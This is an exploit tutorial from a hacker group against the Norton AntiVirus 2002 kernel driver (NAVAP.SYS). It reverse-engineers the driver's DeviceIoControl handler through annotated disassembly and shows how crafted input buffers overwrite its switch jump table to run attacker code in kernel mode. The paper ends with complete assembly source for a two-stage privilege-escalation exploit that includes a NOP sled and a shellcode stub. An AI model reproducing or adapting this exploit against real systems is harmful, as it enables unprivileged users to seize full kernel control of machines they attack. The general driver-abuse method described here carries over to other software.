|
Win32 Device Drivers Communication Vulnerabilities Proof Of Concept - Exploiting Norton AntiVirus Device Driver Written by Lord YuP / sEC-Labs ^ tkT Tested on NAV 2002! [zipped exploit] http://sec-labs.hack.pl DISCLAIMER: This paper is written in educational purposes only. Author, sEC-Labs, tkT team are not repsonsible for damage caused by other people, based on knowledge from this paper. Hope you know what it means dear reader. GREET: I'd like to thank int3 for helping me with the theory - one more time big thank uncle! The title problem ----------------- I'm still wondering about the title of this paper, somebody might say that it isn't a OS problem but the vulnerable software is responsible for that. Yep, that's almost true, but I think I have arguments to name it Win32-DDCV (Device Drivers Communication Vulnerabilites), and i will show them in next parts of this article. The real introduction --------------------- What's the Device Driver? let's paste something from Win32 Devopler Refference: "A Windows device driver is a DLL that Windows uses to interact with a hardware device, such as a display or keyboard. Rather than access devices directly, Windows loads device drivers and calls functions in the drivers to carry out actions on the device. Each device driver exports a set of functions; Windows calls these functions to complete an action, such as drawing a circle or translating a keyboard scan code. The driver functions also contain the device-specific code needed to carry out actions on the device." Note that Device Drivers are pretty different on w9x and NT based systems. (In Win95 and WinNT device driver is completly different. In Win98 and Win2k/XP there is new driver model called WDM ( Windows Driver Model). If you write any driver for Win98 using WDM, same driver you can run in Win2k/XP too). Ok so why some software uses Device Drivers? The answer is simple. Device Drivers are very powerful tools. When you are device driver you can make everything. Device Driver is running in Kernel (Ring0) mode as a kernel loadable module. In any OS Ring0 has full privilage. These programms can do any operation including system crash. Example, using kernel module we can Intercept all kinds of file operations. How application is communicating with device driver? ----------------------------------------------- The main function to communicate with device drivers is DeivceIoControl API exported by KERNEL32.DLL library. (again let's take a reference) The DeviceIoControl function sends a control code directly to a specified device driver, causing the corresponding device to perform the specified operation. BOOL DeviceIoControl( HANDLE hDevice, // handle to device of interest DWORD dwIoControlCode, // control code of operation to perform LPVOID lpInBuffer, // pointer to buffer to supply input data DWORD nInBufferSize, // size of input buffer LPVOID lpOutBuffer, // pointer to buffer to receive output data DWORD nOutBufferSize, // size of output buffer LPDWORD lpBytesReturned, // pointer to variable to receive output byte count LPOVERLAPPED lpOverlapped // pointer to overlapped structure for asynchronous operation ); How the break Device Driver!? ----------------------------- Almost 99% of software device drivers (these which are included in software) can be broken. However as I said before the device driver must be "opened" for communactaion with application. (To communicate with any Device Driver, Inside Device driver it creates One I/O Object using IoCreateDevice(). In this function there is a Flag which specifies Exclusive or not. If it mentions Exclusive (TRUE), then only 1 application can open a Device and send a command, till it closes handle others cant open. If we take here Norton, It is not exclusive means, more then 1 application can open the Device and send a command). However if the client like NAVAPW32.EXE (for example) is accessible for us (we can open the process and so on) we can easily close the handle and open the device driver by our program or put a remote thread (inside NAVAPW32.EXE) that will do the same job inside real Norton process. Since the 99% of them are writting output information to lpOutBuffer you are 100% sure that you can make them flow - writting to non-existing location pointed by lpOutBuffer, which will cause them to crash. As far as I know Windows system is not checking if the memory location (agruments/memory pointers) is valid, and it isn't a windows vulerability? - give me a break! Like int3 said - "As per my knowledge, If there is any System privilage violation like system Crash using Application (User mode programm ), then is it surly a OS Bug. " The driver exploitation for system privleges is quite hard, but with a little stroke of luck we can do it - in next section we will try to exploit Norton AntiVirus. Exploiting the NAVAP (on NT based systems) ------------------------------------------ After Norton AntiVirus installation it's time to make little research. Here are things you should have: (recommended - this is tutorial right?) - debugger (the best debugger on Earth - Numega Softice! or some windbg - you will need debugger if you want to research for your own, at the current stage everything is written here - I hope) - process view utility (i'm using Process Explorer from SysInternals) - disassembler (the best dasm on Earth IDA) - API monitor (the one from Rohitab Batra is pretty good) - logical thinking Let the show begin! 1) Run Process Explorer utility (or other). At this stage of work the following Symatec modules should be found: - service: Navapsvc.exe and a client (standard access rights): Navapw32.exe Now find any file, click right mouse button on it and choose "Scan with Norton...", now as fast as you can go to the Process Explorer window, the new Norton processes are: - service: QServer.exe and a normal program NAVW32.exe In next few seconds QServer.exe should be terminated. 2) Run Api Monitor, type CTRL+R (process filter) check the Include Filter option and write a process name as "QSERVER" (uppercase), then click OK and type CTRL+I (api filter) select only Device Input and Output. Click OK and start the API capture, now make a new virus scan (like in point one). When QSERVER will be runned again the Api Monitor will spy it. Look now on the Api Monitor window, search for DeviceIoControl u should get some, now check the hDevice param and find CreateFileA function that returns the same value (before DeviceIoControl). You should get sth like this: CreateFileA lpFileName:0x1700FD "\\.\NAVAP", ... What does it mean? The QServer process has opened the device (grabbed its handle) and then send a signal to it. Now open IDA and open the (depends on your system) C:\WINNT\system32\drivers\NAVAP.SYS (yep the driver found before), sleep until the analyse is finished. WHAT YOU SHOULD NOTE AT THIS POINT: - QServer is communicating with NAVAP driver - the DeviceIoControl (that you have found in the Api Monitor) was executed with params: ...,dwIoControlCode:0x222a87,lpInBuffer:0x12f4e8,nInBufferSize:20,lpOutBuffer:0x12f4e0,nOutBufferSize:4, lpBytesReturned:...,lpOverlapped:0 3) When IDA analyse is completed move the scroll to start of the file, then type ALT+T (type text) and make a search with: 222a87 (yeah the signal code), IDA should find something like this: PAGE:00016530 cmp ecx,222a87h <- double click on it and turn to IDA View sub-window. You should be now at 16530 offset. Now turn the scroll bar up until the start of the sub-routine will be visible. Ok let's paste some disassembly with my comments: PAGE:000164D3 push esi ; esi to the stack PAGE:000164D4 push edi ; edi also PAGE:000164D5 mov edi, [esp+arg_0] ; edi the arg_0 pointer PAGE:000164D9 test edi, edi ; test it PAGE:000164DB jz loc_16597 ; if it is null -> leave PAGE:000164E1 mov eax, [edi+4] ; EAX = lpInputBuffer pointer PAGE:000164E4 test eax, eax ; if it is null PAGE:000164E6 jz loc_16597 ; leave PAGE:000164EC cmp dword ptr [edi+8], 20h ; is the nInputBufferSize correct (is it 32?) PAGE:000164F0 jnz loc_16597 ; it is not? -> leave PAGE:000164F6 mov esi, [edi+0Ch] ; ESI = lpOutBuffer pointer PAGE:000164F9 test esi, esi ; point to null? PAGE:000164FB jz loc_16597 ; leave PAGE:00016501 cmp dword ptr [edi+10h], 4 ; nOutBuffer size == 4? PAGE:00016505 jnz loc_16597 ; not? -> leave PAGE:0001650B cmp dword ptr [edi+14h], 0 ; lpBytesReturned pointer == 0? PAGE:0001650F jz loc_16597 ; signal faked -> leave PAGE:00016515 cmp dword ptr [eax], 3E3E5352h ; are first 4 bytes from lpInBuffer PAGE:0001651B jnz short loc_16597 ;3E3E5352? - nope -> signal faked -> leave PAGE:0001651D cmp dword ptr [eax+1Ch], 3C3C5352h ; are 4 bytes at lpInBuffer+1ch PAGE:00016524 jnz short loc_16597 ;3C3C5352h? - nope then leave PAGE:00016526 mov ecx, [edi] ; ECX=singal code PAGE:00016528 cmp ecx, 222A83h ; is it 222A83 (another NAVAP signal) PAGE:0001652E jz short loc_1655A ; if yes jump to ... PAGE:00016530 cmp ecx, 222A87h ; is it 222A87 (our signal) PAGE:00016536 jz short loc_16562 ; we will look at this offset later PAGE:00016538 cmp ecx, 222A8Bh ; is it 222A8B PAGE:0001653E jz short loc_1656A ; if so jump to ... PAGE:00016540 cmp ecx, 222A8Fh ; ... PAGE:00016546 jz short loc_16571 ; ... PAGE:00016548 cmp ecx, 222A93h ; ... PAGE:0001654E jz short loc_16578 ; ... PAGE:00016550 cmp ecx, 222A97h ; ... PAGE:00016556 jz short loc_1657F ; ... PAGE:00016558 jmp short loc_16597 ; if other jump to loc_16597 NOTICE TO: PAGE:00016530 cmp ecx, 222A87h Once driver exposes a Device name to outside world for communication (here NAVAP), Then it has to register a Callback function to handle DeviceIoControl() call's. Above related code is that CallBack register, which he is handling a set of Signles from Nav application. Yes of course, if Those who exposed the device to User mode app's has to have this kind of CallBack(100%). Well we can now build a sample DeviceIoControl call: push 0 ; lpOverlapped push offset lpBytesReturned ; this can't be NULL (look at PAGE:0001650B) push 4 ; nOutBuffer must be 4 (look at PAGE:00016501) push offset lpOutBuffer ; can't be NULL (look at PAGE:000164F6) push 20h ; nInputBufferSize must be 32 (dec) (l.a PAGE:000164EC) push offset lpInBuffer ; lpInBuffer can't be NULL (look at PAGE:000164F6) push 222A87h ; our signal push dword ptr [NAVAP_HANDLE] ; handle to NAVAP device call DeviceIoControl ... lpInbuffer should look like: lpInBuffer: dd 03E3E5352h ; can't be other (data/control code?) (look at PAGE:00016515) dd (1ch-($-offset lpInBuffer))/4 dup (1) ; unknow data for now but required dd 03C3C5352h ; can't be other (data/control code?) (look at PAGE:0001651D) Well try to send such a communicate and i guess you will have a NAVAP fault, why? just read ...Now we will make a look inside loc_16562 (double click on it at PAGE:00016536): I will write only that calls from loc_16562 so here they comes: loc_16562 (by call)-> loc_1659E loc_1659E: call to InterlockedIncrement (twice) call ds:dword_35AA4 (to sub_30969) <-- YEP WE WERE LOOKING FOR IT Now jump to sub_30969, here it comes: PAGE:00030969 sub_30969 proc near ; CODE XREF: odbierz_signal+76 p PAGE:00030969 ; odbierz_signal+A6 p PAGE:00030969 ; DATA XREF: ... PAGE:00030969 PAGE:00030969 do_case = dword ptr 8 PAGE:00030969 unknown_1 = dword ptr 0Ch PAGE:00030969 unknown_2 = dword ptr 10h PAGE:00030969 unknown_3 = dword ptr 14h PAGE:00030969 arg_10 = dword ptr 18h PAGE:00030969 arg_14 = dword ptr 1Ch PAGE:00030969 PAGE:00030969 push ebp ; save ebp PAGE:0003096A xor eax, eax ; eax = 0 PAGE:0003096C mov ebp, esp ; ebp=esp PAGE:0003096E push ebx ; ebx to the stack PAGE:0003096F push esi ; esi also PAGE:00030970 push edi ; edi the same PAGE:00030971 mov edx, [ebp+arg_14] ; is arg_14 == 0? PAGE:00030974 test edx, edx ; test it PAGE:00030976 jz short loc_3097A ; it is -> leave PAGE:00030978 PAGE:00030978 fault: PAGE:00030978 mov [edx], eax ; write EAX=0 to EDX (the pointer) Ok we will stop at this point, like I wrote few lines above, if you send that signal the driver will fault, and now I'm going to tell you why ... let's rebuild lpInBuffer again: lpInBuffer: dd 03E3E5352h ; can't be other (look at PAGE:00016515) dd case_state ; the case_state (look at PAGE:00030969) dd unknown_1 ; unknown for now (look at PAGE:00030969) dd unknown_2 ; unknown for now (look at PAGE:00030969) dd unknown_3 ; -//- (look at PAGE:00030969) dd arg_10 ; unknow for now (look at PAGE:00030969) dd arg_14 ; check few lines down dd 03C3C5352h ; can't be other (look at PAGE:0001651D) In the old lpInBuffer all data from case_state to arg_14 where set to 1. Now let's analyse why did it faulted: PAGE:00030971 mov edx, [ebp+arg_14] ; EDX = 1 PAGE:00030974 test edx, edx ; test it PAGE:00030976 jz short loc_3097A ; it is not NULL continue PAGE:00030978 PAGE:00030978 fault: PAGE:00030978 mov [edx], eax ; write EAX (NULL) to offset 1 As you can see the driver tried to put 4 null bytes to offset given by arg_14, writting to offset 1 cause an access violation. To exploit the driver we must find the way to "jump to our code", notice that everything sent by DeviceIoControl (from lpInBuffer to lpBytesReturned) seems to be mapped at the same address in the driver's page!!! After few minutes of scanning I have found sth like: PAGE:00030AA8 mov [edx], ebx ; EBX = 32h This writes 32h to our arg_14 pointer - you are wondering why I have choosen this instruction? Just continue reading... Look at the following code (written as an example): mov ebx,32h ; EBX = 32h (like in our driver code) push esp ; esp to stack pop edx ; edx = esp add edx,2 ; edx=esp+2 push offset return_here ; put return address on stack mov [edx],ebx ; put 32h to edx (so esp+2) ret ; returned to 0032100F ... return_here: In this little procedure I tried to show you that we can overwrite driver's return address, you saw that return_here offset was changed to 0032100F ! I have specially made a [esp+2] because it returns 0032100F not 00000032. Memory at 0032100F can be allocated and then send with DeviceIoControl as pointer ! So we have space for our shellcode ... But you know this a dirty way. We can't hardcode EDX addresss beacouse the stack is changing all the time in the driver (damn) we will need to find another way to do it! The mov [edx],ebx (EBX=32h) seems to be the only good option, now we have to find an address which can be overwritten and where the driver can jump... Let's scan ... Return to disassembly (the things after PAGE:00030978): PAGE:0003097A loc_3097A: ; CODE XREF: sub_30969+D j PAGE:0003097A mov eax, [ebp+case_state] ; from our lpInBuffer PAGE:0003097D dec eax ; dec do_case PAGE:0003097E cmp eax, 0Ah ; switch 11 cases PAGE:00030981 ja loc_30B0B ; default PAGE:00030987 jmp ds:off_30B12[eax*4] ; switch jump We have found a swith-case instruction? Do you know what's off_30B12? Let's see: PAGE:00030B12 off_30B12 dd offset loc_3098E ; DATA XREF: sub_30969+1E r PAGE:00030B12 dd offset loc_309BD ; jump table for switch statement PAGE:00030B12 dd offset loc_309DE PAGE:00030B12 dd offset loc_309E8 PAGE:00030B12 dd offset loc_309F2 PAGE:00030B12 dd offset loc_30A21 PAGE:00030B12 dd offset loc_30A50 PAGE:00030B12 dd offset loc_30A7F PAGE:00030B12 dd offset loc_30AC1 PAGE:00030B12 dd offset loc_30AE1 PAGE:00030B12 dd offset loc_30B01 We were looking for such code! If we will overwrite for example first offset, and then send the signal with case_state = 1 it will jump to code we have overwritten!!! TODO: First, signal must be sent with arg_14 pointed to first one of the jump table for switch statement. Let's check where was mov [edx],ebx (ebx=32h) executed: PAGE:00030A7F loc_30A7F: ; CODE XREF: sub_30969+1E j PAGE:00030A7F ; DATA XREF: PAGE:00030B12 (CASE 0x7) PAGE:00030A7F mov esi, [ebp+unknown_3] ; unknown_3 == 0 PAGE:00030A82 test esi, esi ; test PAGE:00030A84 jz loc_30B0B ; leave without mov [edx],ebx execution PAGE:00030A8A mov ebx, 32h ; ebx = 32h PAGE:00030A8F cmp [ebp+arg_10], ebx ; arg_10 == 32h? PAGE:00030A92 jb short loc_30B0B ; below -> leave PAGE:00030A94 test edx, edx ; EDX=our pointer to write PAGE:00030A96 jz short loc_30B0B ; faked -> leave PAGE:00030A98 mov edi, esi ; EDX=ESI PAGE:00030A9A xor eax, eax ; EAX=0 PAGE:00030A9C mov ecx, 0Ch ; ECX=0Ch times PAGE:00030AA1 repe stosd ; stos the dwords ECX times PAGE:00030AA3 stosw ; stos one word PAGE:00030AA5 mov [esi+4], ebx ; stos 32 at esi+4 PAGE:00030AA8 mov [edx], ebx ; write 32h on our address It will be much clearer if we will define new lpInBuffer: lpInBuffer: dd 03E3E5352h ; can't be other (look at PAGE:00016515) dd 07h+1 ; case 0x7 (+1 beacouse of DEC EAX l.at PAGE:0003097D) dd unknown_1 ; unknown for now (look at PAGE:00030969) dd unknown_2 ; unknown for now (look at PAGE:00030969) dd some_offset ; can't be null (look at PAGE:00030A7F) dd 32h ; it must be set to 32h (look at PAGE:00030A8A) dd first_switch_address ; adress to overwritte with 0 then 32h (l.a PAGE:00030AA8) dd 03C3C5352h ; can't be other (look at PAGE:0001651D) When first signal with lpInBuffer we have defined few lines above will be sent, we must send another to jump to the first switch address, and remember that lpInBuffer must be allocated at the memory made by mov [edx],ebx, look at an example. The lpInBuffer for the second "attack" can be almost the same, the case_state (07h+1) must be changed to 0+1 - easy. The bad point is that the device drivers seems to be loaded at a different memory every restart, so in the current exploit you must rewrite the MAP_ADDRESS definition by the address where the device is loaded. This can be done DeviceTree (OSR product), however later I will find another way to do it - since you got the address u can login as Guest user and run the exploit... NOTE: SHELLCODE WAS CUT OUT! WE HATE SPLOIT KIDDS! READ THE SOURCE ... NAVAP EXPLOIT ------------- ;------------------------[NAVAP_EXPLOIT.ASM]-------------------------------------- ; NAVAP (Norton AntyVirus Device Driver Exploit) ; powered by Lord YuP / Sec-Labs ^ Tkt ; email: yup@tlen.pl ;compile with: ;tasm32 /m1 /m3 /mx NAVAP_EXPLOIT,,; ;tlink32 -Tpe -aa NAVAP_EXPLOIT,NAVAP_EXPLOIT,,import32.lib,, ;PEWRSEC.COM NAVAP_EXPLOIT.exe include my_macro.inc ;this can be found in zipped archive include WIN32API.INC ;see the end of paper ;WARNING THIS VALUE MUST BE CHANGED!!!! TRY TO USE DeviceTree utility (from OSR) ;to obtain the *Device Loaded Address* !!!! ;or make your own obtainer using SETUPAPI functions!!! MAP_BASE equ 0bbf30000h ;0bbef4000h ;calculate the address for the shellcode mov eax,MAP_BASE add eax,3098eh ;first case-if offset without base addr mov dword ptr [my_address],eax ;fill the variable mov dword ptr [my_address+2],0 ;like NAVAP does X-D mov dword ptr [my_address+2],32h ;guess what ;) push 0 push 80h push 3 push 0 push 0 push 0 @pushsz "\\.\NAVAP" ;open the device @callx CreateFileA ;yeah - open it! mov ebx,eax ;EBX=DEVICE HANDLE cmp eax,-1 ;error ;/ jne _x00 ;if not jump to _x00 label @debug SPLOIT_TITLE,"Cannot open device ;/",IERROR jmp exit _x00: push 0 ;overlapped = 0 push offset byte_ret ;bytes returned push 4h ;navap requires 4 bytes ;) push offset outer ;output buffor push 20h ;if else our signal will be ignored push offset my_buffer ;input buffer (symantec style) push 222a87h ;secret code X-D push ebx ;EBX=HANDLE @callx DeviceIoControl ;send first signal test eax,eax ;cannot send it ;/ - damn jnz _x01 ;if correct jump to _x01 @debug SPLOIT_TITLE,"Cannot send 1st SIGNAL! ;/",IERROR jmp exit _x01: push PAGE_EXECUTE_READWRITE ;page for execute/read/write push MEM_COMMIT ;commit push shellcode_size+100+(1000h+10h) ;size X-D hehe push dword ptr [my_address] ;specyfic address @callx VirtualAlloc ;alloc it! mov dword ptr [mem_handle],eax ;store to variable test eax,eax ;error? jnz _xO ;if not jump to _xO @debug SPLOIT_TITLE,"Cannot alloc memory! ;/",IERROR jmp exit _xO: mov edi,eax ;EDI=MEMORY HANDLE push edi ;store EDI add eax,shellcode_size+10 ;after shellcode mov dword ptr [wpisz_tutaj],eax ;store for later xor eax,eax ;EAX=0 mov ecx,shellcode_size+100 ;ECX=SHELLCODE SIZE + 100 bytes rep stosb ;fill up with NULL's pop edi ;load EDI (now EDI memory handle) lea esi,my_buffer2 ;ESI=POINTER TO SECOND BUFFER mov ecx,my_buffer2_size ;ECX=SECOND BUFFER SIZE rep movsb ;write it!!! mov al,90h ;AL=90H=NOP mov ecx,1000h+10h ;ECX=1010h bytes rep stosb ;FILL THE MEMORY WITH NOPS lea esi,shellcode ;ESI=POINTER TO REAL SHELLCODE add esi,my_buffer2_size ;(WITHOUT MY_BUFFER2 DATA) mov ecx,shellcode_size-my_buffer2_size ;ECX=REAL SHELLCODE SIZE rep movsb ;store it! mov eax,dword ptr [mem_handle] ;EAX=MEMORY HANDLE add eax,shellcode_size+10 ;calculate pointer for bytes_returned push 0 push eax ;bytes returned push 4h ;look up for comments! X-D push eax push 20h push dword ptr [mem_handle] push 222a87h push ebx @callx DeviceIoControl ;send second signal and execute the jump X-D test eax,eax ;error jnz _x02 ;nope conitnue work at _x02 label @debug SPLOIT_TITLE,"Cannot send 2nd SIGNAL! ;/",IERROR jmp exit _x02: push MEM_RELEASE ;memory will be released push shellcode_size+100+(1000h+10h) ;memory size push dword ptr [mem_handle] ;memory handle @callx VirtualFree ;de-allocate it exit: push 0 ;say good bye ;) @callx ExitProcess byte_ret dd 0 OVERWRITE_IT equ MAP_BASE+20b12h+2 ;address to overwrite SAFE_EXIT equ MAP_BASE+20B0Bh ;do not fault ;][; my_buffer: dd 03E3E5352h ;some MARKER by symantec dd 07h+1 ;case if dd "nie1" ;doesn't metter in this case dd "nie2" ;-//- dd offset nie3 ;device must store sth (avoid fault) dd 32h ;must be 32h!!! (read the white-paper) dd OVERWRITE_IT ;address we want to overwrite (EDX) dd 03C3C5352h ;the same as the first one my_buffer_size=$-offset my_buffer shellcode: my_buffer2: dd 03E3E5352h dd 0h+1 ;case if dd "nie1" ;rest the same X-D dd "nie2" dd offset nie3 dd 32h wpisz_tutaj dd 0 dd 03C3C5352h my_buffer2_size=$-offset my_buffer db 100 dup (90h) ;------------------------------------------------------------------------------------------ ;here the sample shellcode starts: ; ;If u want write a shellcode do it yourself, avoiding from ex-ploit-k1dd13z ;blackhat for ever man ;] ;btw. remeber that IT IS A: *D - R - I - V - E - R * ;heh ;------------------------------------------------------------------------------------------ pushad @delta2reg ebp popad mov edx,SAFE_EXIT jmp edx shellcode_size=$-offset shellcode ;the rest of variables mem_handle dd 0 my_address dd 0 temp_erufka dd 0 nie3 db "just an temp ... " outer db 100 dup (0) end start ;------------------------[NAVAP_EXPLOIT.ASM]-------------------------------------- Last words ---------- I hope you had fun with this paper! and you have learned something. It is time to send few greets, so they are fired to: IRC: UNDERNET to all from #virus, #asm, mostly i want to thank int3 (my favourite india coder - thx uncle) IRCNET to all from #phreakpl, #security, #blackhat And of cource special thanks goes to bajkero, mcbethh and rest of sec-labs team :) (*grin*) You can catch me at yup@tlen.pl or IRC, if you want to contact with my team(s) visit our homepage. "You will be now terminated ..." - EOF